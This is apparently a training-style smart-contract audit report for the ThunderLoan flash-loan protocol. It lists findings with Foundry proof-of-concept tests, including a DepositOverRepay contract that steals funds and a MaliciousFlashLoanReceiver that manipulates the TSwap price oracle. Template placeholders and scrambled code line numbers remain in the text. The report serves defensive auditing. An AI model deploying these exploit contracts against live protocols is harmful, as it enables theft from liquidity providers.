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About LUO YINGJIE

LUO YINGJIE is a blockchain developer and security researcher. With massive experience in the blockchain, he has audited numerous projects and has a deep understanding of the blockchain ecosystem.(add more about the auditor)

Protocol Summary

The ThunderLoan protocol is meant to do the following:

- 1. Give users a way to create flash loans
- 2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into Thunder Loan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current Thunder Loan contract to the Thunder Loan Upgraded contract. Please include this upgrade in scope of a security review.

Disclaimer

The Luo Yingjie team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
1 #-- interfaces
    #-- IFlashLoanReceiver.sol
3
     #-- IPoolFactory.sol
4
     #-- ITSwapPool.sol
     #-- IThunderLoan.sol
6 #-- protocol
    #-- AssetToken.sol
7
8
    #-- OracleUpgradeable.sol
9
      #-- ThunderLoan.sol
10 #-- upgradedProtocol
      #-- ThunderLoanUpgraded.sol
11
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
 - USDC
 - DAI
 - LINK
 - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Add some notes of how the audit went, types of issues found, etc.

We spend X hours with Y auditors using Z tools, etc.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	3
Info	4
Gas Optimizations	3
Total	15

Findings

High

[H-1] Erroneous Thunder Loan: : updateExchangeRate in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.

Description:

In the ThunderLoan system, the exchangeRate is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give a liquidity providers.

However, the deposit function, updates this rate, without collecting any fees!

```
function deposit(
          IERC20 token,
           uint256 amount
      ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
4
5
          AssetToken assetToken = s_tokenToAssetToken[token];
           uint256 exchangeRate = assetToken.getExchangeRate();
6
7
           uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) /
8
               exchangeRate;
           emit Deposit(msg.sender, token, amount);
9
10
           assetToken.mint(msg.sender, mintAmount);
11
12 @> uint256 calculatedFee = getCalculatedFee(token, amount);
```

```
13 @> assetToken.updateExchangeRate(calculatedFee);
14 token.safeTransferFrom(msg.sender, address(assetToken), amount)
;
15 }
```

Impact:

There are several impacts to this bug:

- 1. The redeem function is blocked, because the protocol thinks the owed tokens is more than it has
- 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

- 1. LP deposited
- 2. User takes out a flash loan
- 3. It's now impossible to redeem the LP tokens

PoC

Place the following into ThunderLoadTest.t.sol

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2
           uint256 amountToBorrow = AMOUNT * 10;
3
           uint256 calculatedFee = thunderLoan.getCalculatedFee(
                tokenA,
                amountToBorrow
5
6
           );
7
           vm.startPrank(user);
8
           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
9
           thunderLoan.flashloan(
10
                address(mockFlashLoanReceiver),
11
                tokenA,
                amountToBorrow,
12
                11.11
13
14
           );
15
           vm.stopPrank();
16
17
           uint256 amountToRedeem = type(uint256).max;
18
19
           vm.startPrank(liquidityProvider);
           thunderLoan.redeem(tokenA, amountToRedeem);
20
21
           vm.stopPrank();
       }
```

Recommended Mitigation:

Remove the incorrectly updated exchange rate lines from the deposit function.

```
1 function deposit(
2
          IERC20 token,
3
          uint256 amount
       ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
4
5
           AssetToken assetToken = s_tokenToAssetToken[token];
           uint256 exchangeRate = assetToken.getExchangeRate();
           uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) /
8
               exchangeRate;
9
           emit Deposit(msg.sender, token, amount);
10
           assetToken.mint(msg.sender, mintAmount);
11
           uint256 calculatedFee = getCalculatedFee(token, amount);
12 -
           assetToken.updateExchangeRate(calculatedFee);
13 -
14
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
15
       }
```

[H-2] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning, freezing protocol

Description:

ThunderLoan.sol has two variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract ThunderLoanUpgraded, sol has them in a different order:

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the s_flashLoanFee will have the value of s_feePrecision. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact:

After the upgrade, the s_flashLoanFee will have the value of s_feePrecision, this means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the s_currentlyFlashLoaning mapping with storage in the wrong storage slot.

Proof of Concept:

PoC

Place the following into ThunderLoanTest.t.sol

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
      ThunderLoanUpgraded.sol";
2
3
4
5
6 function testUpgradedBreaks() public {
           uint256 feeBeforeUpgrade = thunderLoan.getFee();
8
           vm.startPrank(thunderLoan.owner());
9
           ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
10
           thunderLoan.upgradeToAndCall(address(upgraded), "");
11
           uint256 feeAfterUpgrade = upgraded.getFee();
12
           vm.stopPrank();
13
           console.log("Fee Before Upgrade: ", feeBeforeUpgrade);
14
           console.log("Fee After Upgrade: ", feeAfterUpgrade);
15
16
           assert(feeBeforeUpgrade != feeAfterUpgrade);
17
       }
```

You can also see the storage layout difference by running forge inspect ThunderLoan storage and forge inspect ThunderLoanUpgraded storage

Recommended Mitigation:

If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank; // 0.3% ETH fee
4 + uint256 private s_flashLoanFee; // 0.3% ETH fee
5 + uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] By calling a flashLoan and then ThunderLoan::deposit instead of ThunderLoan::repay, users can steal all funds from the protocol

Proof of Concept:

PoC

Place the following into ThunderLoanTest.t.sol

```
function testUseDepositInsteadOfRepayToStealFund()
public
setAllowedToken
hasDeposits
```

```
vm.startPrank(user);
6
           uint256 amountToBorrow = 50e18;
           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
9
           DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
               ));
           tokenA.mint(address(dor), fee);
10
           thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
11
               ;
12
           dor.redeemMoney();
13
           vm.stopPrank();
14
           assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
15
       }
```

Also place this contract into ThunderLoanTest.t.sol

```
1 contract DepositOverRepay is IFlashLoanReceiver {
       ThunderLoan thunderLoan;
       AssetToken assetToken;
3
       IERC20 s_token;
4
5
       constructor(address _thunderLoan) {
6
7
           thunderLoan = ThunderLoan(_thunderLoan);
8
       }
9
10
       function executeOperation(
11
           address token,
           uint256 amount,
12
           uint256 fee,
13
14
           address /*initiator*/,
15
           bytes calldata /*params*/
       ) external returns (bool) {
16
17
           s_token = IERC20(token);
18
           assetToken = thunderLoan.getAssetFromToken(IERC20(token));
19
           IERC20(token).approve(address(thunderLoan), amount + fee);
20
           thunderLoan.deposit(IERC20(token), amount + fee);
21
           return true;
       }
22
23
       function redeemMoney() public {
24
           uint256 amount = assetToken.balanceOf(address(this));
25
26
           thunderLoan.redeem(s_token, amount);
27
       }
28 }
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description:

The TSwap protocol is a constant product formula based AMM. The price of a token is determined by how many reserves are on either side of the pool. Because of this, it's easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact:

Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction:

- 1. User takes a flash loan from Thunder Loan for 1000 tokenA. They are charged the original fee fee1. During the flash loan, they do the following:
 - 1. User sells 1000 tokenA, tanking the price.
 - 2. Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.
 - 1. Due to the fact that the way Thunder Loan calculates price based on the TSwapPool this second flash loan is substantially cheaper than the first.

```
1 3. The user then repays the first flash loan, and then repays the
second flash loan.
```

PoC

place the following into ThunderLoanTest.t.sol

```
function testOracleManipulation() public {
    // set up contracts
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
```

```
proxy = new ERC1967Proxy(address(thunderLoan), "");
6
            BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
               ;
            // create a TSwap Dex between tokenA and WETH
8
9
            address tswapPool = pf.createPool(address(tokenA));
10
           thunderLoan = ThunderLoan(address(proxy));
11
12
           thunderLoan.initialize(address(pf));
13
14
           // Fund TSwap
15
           vm.startPrank(liquidityProvider);
16
           tokenA.mint(liquidityProvider, 100e18);
17
           tokenA.approve(address(tswapPool), 100e18);
19
           weth.mint(liquidityProvider, 100e18);
20
           weth.approve(address(tswapPool), 100e18);
           BuffMockTSwap(tswapPool).deposit(
21
22
                100e18,
23
                100e18,
24
                100e18,
                block.timestamp
26
           );
27
           vm.stopPrank();
28
           // Fund ThunderLoan
29
31
           vm.prank(thunderLoan.owner());
           thunderLoan.setAllowedToken(tokenA, true);
34
           vm.startPrank(liquidityProvider);
           tokenA.mint(liquidityProvider, 1000e18);
           tokenA.approve(address(thunderLoan), 1000e18);
            thunderLoan.deposit(tokenA, 1000e18);
           vm.stopPrank();
39
40
           // We are going to take out 2 flash loans
41
           // 1. To nuke the price of tokenA/Weth on TSwap
42
           // 2. To show that doing so greatly reduces the fees we pay on
               ThunderLoan
43
44
           uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
               100e18);
45
           console.log("Normal Fee Cost: ", normalFeeCost);
            // 0.296147410319118389
46
47
           uint256 amountToBorrow = 50e18;
48
49
           MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                address(tswapPool),
51
                address(thunderLoan),
```

```
52
                address(thunderLoan.getAssetFromToken(tokenA))
53
            );
54
55
            vm.startPrank(user);
56
            tokenA.mint(address(flr), 100e18);
57
            thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            vm.stopPrank();
59
            uint256 attackFee = flr.feeOne() + flr.feeTwo();
            // 0.214167600932190305
62
            console.log("Attack Fee Cost: ", attackFee);
            assert(attackFee < normalFeeCost);</pre>
63
       }
64
```

also this contract to Thunder Loan Test.t.sol

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
2
       ThunderLoan thunderLoan;
3
       address repayAddress;
       BuffMockTSwap tswapPool;
4
5
       bool attacked;
       uint256 public feeOne;
6
       uint256 public feeTwo;
8
9
       constructor(
            address _tswapPool,
11
            address _thunderLoan,
12
           address _repayAddress
13
       ) {
14
            tswapPool = BuffMockTSwap(_tswapPool);
15
            thunderLoan = ThunderLoan(_thunderLoan);
            repayAddress = _repayAddress;
16
17
            attacked = false;
       }
18
19
20
       function executeOperation(
21
           address token,
22
           uint256 amount,
23
           uint256 fee,
24
            address /*initiator*/,
25
           bytes calldata /*params*/
26
       ) external returns (bool) {
27
            if (!attacked) {
28
                feeOne = fee;
29
                attacked = true;
                uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
31
                    50e18,
                    100e18,
                    100e18
34
                );
```

```
IERC20(token).approve(address(tswapPool), 50e18);
                tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
37
                    50e18,
38
                    wethBought,
39
                    block.timestamp
40
                );
41
                thunderLoan.flashloan(address(this), IERC20(token), amount,
42
                    "");
43
                // IERC20(token).approve(address(thunderLoan), amount + fee
                   );
                // thunderLoan.repay(IERC20(token), amount + fee);
45
                IERC20(token).transfer(address(repayAddress), amount + fee)
46
            } else {
47
                feeTwo = fee;
48
                // IERC20(token).approve(address(thunderLoan), amount + fee
49
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(address(repayAddress), amount + fee)
51
52
           }
53
           return true;
54
       }
55 }
```

Recommended Mitigation:

Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2]: Centralization Risk for trusted owners

Description:

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

6 Found Instances

Found in src/protocol/ThunderLoan.sol Line: 278

```
1 ) external onlyOwner returns (AssetToken) {
```

• Found in src/protocol/ThunderLoan.sol Line: 319

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner
{
```

• Found in src/protocol/ThunderLoan.sol Line: 350

```
1 ) internal override onlyOwner {}
```

• Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {
```

• Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner
{
```

• Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 261: function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
1 File: src/protocol/OracleUpgradeable.sol
2
3 11: function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
1 File: src/protocol/ThunderLoan.sol
2
           function initialize(address tswapAddress) external initializer
3 138:
4
5 138:
          function initialize(address tswapAddress) external initializer
6
7 139:
               __Ownable_init();
8
               __UUPSUpgradeable_init();
9 140:
10
11 141:
               __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the ThunderLoan::s_flashLoanFee is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the ThunderLoan::s_flashLoanFee is updated.

```
1 +
       event FlashLoanFeeUpdated(uint256 newFee);
3
4 .
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
5
          if (newFee > s_feePrecision) {
7
              revert ThunderLoan__BadNewFee();
8
          s_flashLoanFee = newFee;
9
          emit FlashLoanFeeUpdated(newFee);
10 +
11
      }
```

Informational

[I-1] Poor Test Coverage

```
5 | src/protocol/OracleUpgradeable.sol | 100.00% (6/6) | 100.00% (9/9) | 100.00% (0/0) | 80.00% (4/5) | 6 | src/protocol/ThunderLoan.sol | 64.52% (40/62) | 68.35% (54/79) | 37.50% (6/16) | 71.43% (10/14) |
```

[I-2] Not using __gap [50] for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 98: mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[GAS-2] Using private rather than public for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
1 File: src/protocol/AssetToken.sol
2
3 25: uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
4
5 96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In AssetToken::updateExchangeRate, after writing the newExchangeRate to storage, the function reads the value from storage again to log it in the ExchangeRateUpdated event.

To avoid the unnecessary SLOAD, you can log the value of newExchangeRate.

```
1    s_exchangeRate = newExchangeRate;
2  - emit ExchangeRateUpdated(s_exchangeRate);
3  + emit ExchangeRateUpdated(newExchangeRate);
```